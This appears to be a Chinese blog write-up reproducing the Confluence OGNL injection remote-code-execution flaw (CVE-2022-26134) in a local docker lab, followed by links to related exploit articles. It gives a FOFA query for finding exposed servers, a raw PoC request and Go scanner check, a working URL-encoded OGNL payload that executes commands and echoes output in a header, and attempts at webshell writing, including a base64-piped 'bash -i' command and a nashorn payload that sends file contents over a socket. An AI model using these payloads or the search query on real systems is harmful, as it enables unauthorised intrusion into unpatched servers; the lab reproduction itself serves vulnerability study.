Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)

简介

Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。

受影响版本

  • Confluence Server and Data Center >= 1.3.0
  • Confluence Server and Data Center < 7.4.17
  • Confluence Server and Data Center < 7.13.7
  • Confluence Server and Data Center < 7.14.3
  • Confluence Server and Data Center < 7.15.2
  • Confluence Server and Data Center < 7.16.4
  • Confluence Server and Data Center < 7.17.4
  • Confluence Server and Data Center < 7.18.1

fofa语法

"Confluence Data Center" && title=="登录 - Confluence"

漏洞环境

执行如下命令启动一个Confluence Server 7.13.6:

docker compose up -d

环境启动后,访问http://127.0.0.1:8090即可进入安装向导,参考CVE-2019-3396这个环境中的安装方法,申请试用版许可证。

注册一个账户申请试用版许可证。注册之后可以申请一个90天的许可证

在这个填写数据库信息的页面,PostgreSQL数据库地址为db,数据库名称confluence,用户名密码均为postgres

之后有一些选择,我选了加载一个示例站点,再次输入注册用的邮箱和用户名,下面的输入前面定义的postgres,然后他让你输入完一个工作空间的名称就完成了配置启动了

漏洞利用

poc发包测试

GET /%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=15A13C672F837C4DC2D35405A3A1D9C0
Connection: close

规则很简单,添加到自写的poc扫描模块中也能验证成功

func CVE_2022_26134(u string) bool {
if req, err := request.HttpRequset(u+"/%24%7B@com.opensymphony.webwork.ServletActionContext@getResponse%28%29.setHeader%28%22X-V-Response%22%2C%22vvv%22%29%7D/", "GET", "", false, nil); err == nil {
if req.Header["X-V-Response"] != nil {
return true
}
}
return false
}

exp发包请求

使用到的OGNL表达式为${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}.

这里还是比较好理解的,${...}表示这是一个OGNL表达式,它会被服务器解析和执行,然后先定义一个变量a来获取命令执行结果,具体是调用IOUtils类的静态方法toString这样可以将输入流转换为字符串,输入流则是通过调用Runtime类的静态方法getRuntime来获取一个Runtime对象,接着通过调用它的exec方法执行传入的id命令来返回一个Process对象,最后调用它的getInputStream来获取。最后将变量a传入header头X-Cmd-Response中返回

经过url编码之后发包:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

可以看到命令正常执行,也可以成功创建文件。

exp变形

但是写入想写入webshell发现不成功,先尝试了一下linux中写文件的几种姿势,但发现都不行写不进去:

echo "hi" | tee test.txt
// url编码后: echo%20%22hi%22%20%7C%20tee%20test.txt
echo "hi" > test.txt
// url编码后: echo%20%22hi%22%20%3E%20test.txt
printf "hi" > test.txt
// url编码后: printf%20%22hi%22%20%3E%20test.txt

尝试base64编码+url编码:

"bash -c {echo,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0}|{base64,-d}|{bash,-i}"
"bash%20-c%20%7Becho,ZWNobyAiaGkiIHwgdGVlIHRlc3QudHh0%7D%7C%7Bbase64,-d%7D%7C%7Bbash,-i%7D"

但还是没有成功,没有header头回显。看到GitHub上有使用javascript配合socket来下载的,不过调用了JavaScript的nashorn来引入java的类。不过这个没实现成功。具体可以去这里了解 through the wire

${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get("id")));var sock = new java.net.Socket(127.0.0.1, 1111); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();")}

参考链接

Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134)的更多相关文章

  1. Struts2 S2-061 远程命令执行漏洞复现(CVE-2020-17530)

    0x01 漏洞简介 Struts在某些情况下可能存在OGNL表达式注入漏洞,如果开发人员使用了 %{-} 语法进行强制OGNL解析,某些特殊的TAG属性可能会被双重解析.攻击者可以通过构造恶意的OGN ...

  2. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  3. 19.Imagetragick 命令执行漏洞(CVE-2016–3714)

    Imagetragick 命令执行漏洞(CVE-2016–3714) 漏洞简介: Imagetragick 命令执行漏洞在16年爆出来以后,wooyun上面也爆出了数个被该漏洞影响的大厂商,像腾讯, ...

  4. Struct2远程命令执行漏洞(S2-053)复现学习

    1.S2-053(CVE-2017-12611) RCE出自一道题目 http://www.whalwl.cn:8027/hello.action 漏洞产生原因:Struts2在使用Freemarke ...

  5. Imagetragick 命令执行漏洞(CVE-2016–3714)

    Imagetragick介绍: ImageMagick是一款使用量很广的图片处理程序,很多厂商都调用了这个程序进行图片处理,包括图片的伸缩.切割.水印.格式转换等等.但近来有研究者发现,当用户传入一个 ...

  6. Samba 4.x.x全版本存在命令执行漏洞

    Samba 4.0.0到4.1.10版本的nmbd(the NetBIOS name services daemon)被发现存在远程命令执行漏洞.CVE编号为CVE-2014-3560.目前官方已经发 ...

  7. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  8. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  9. WordPress <= 4.6 命令执行漏洞(PHPMailer)复现分析

    漏洞信息 WordPress 是一种使用 PHP 语言开发的博客平台,用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站.也可以把 WordPress 当作一个内容管理系统(C ...

  10. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

随机推荐

  1. Java 21新特性:Sequenced Collections(有序集合)

    在JDK 21中,Sequenced Collections的引入带来了新的接口和方法来简化集合处理.此增强功能旨在解决访问Java中各种集合类型的第一个和最后一个元素需要非统一且麻烦处理场景. 下面 ...

  2. Docker V24 及 Docker Compose V2 的安装及使用

    前言 Docker 是一款流行的开源容器化平台,使用 Docker 可以有效地隔离应用程序和系统环境,使得应用程序在不同的环境中具有相同的行为 Docker Compose 是一个用于定义和管理多个 ...

  3. Openssl Des3对压缩文件进行加密命令详解

    群友提问: 致力于明天: tar -cvf - WMG_Back_"$Today"|openssl des3 -salt -k hY91gd3GJAAfghECleLwWQAPGK ...

  4. C++ 对拍详解 和解读

    对拍是什么# ​对拍,是一个比较实用的工具.它能够非常方便地对于两个程序的输出文件进行比较,可以帮助我们实现一些自动化的比较输出结果的问题. ​众所周知,几乎每一道编程题目,都会有某种正解能拿到满分: ...

  5. P4032 [Code+#2] 火锅盛宴

    prologue 树状数组推荐写法,感谢巨佬樱雪喵的教学. inline int lowbit(int x) { return x & -x; } inline void add(int x, ...

  6. 原创基于Scrum框架产研团队运作20问

    学习完了 Scrum,实际使用中,是否遇到/思考过下面的问题? Product Owner的老板是谁.谁来给 Product Owner打绩效.考核的标准是啥? Scrum Master 的老板是谁. ...

  7. 一键修改IP多实例

    一键修改IP多实例-v1 #!/bin/bash #2020-03-01 #auto change ip #By Flyaway ###################### grep "d ...

  8. matlab快速入门笔记

    命名规则: clc:清除命令行的所有命令 clear all:清除所有工作区的内容 注释:两个% + 空格 %% matlab的数据类型 1.数字 3 3 * 5 3 / 5 3 + 5 3 - 5 ...

  9. 🔥🔥TCP协议:三次握手、四次挥手,你真的了解吗?

    什么是TCP网络分层 应⽤层 应用层是网络协议栈中的最顶层,主要负责应用程序之间的通信.其中一种常见的应用层协议是HTTP协议,它定义了应用程序之间如何传递报文. 传输层 传输层是为两台主机之间的应用 ...

  10. JavaBean 之Hello World(入门实例)

    本文主要参考<JavaEE企业应用实战>的例子,经过调试成功. 前言:如果多个jsp页面需要重复使用某段代码,我们可以把这段代码定义成Java类的方法,让后让多个jsp页面调用该方法即可, ...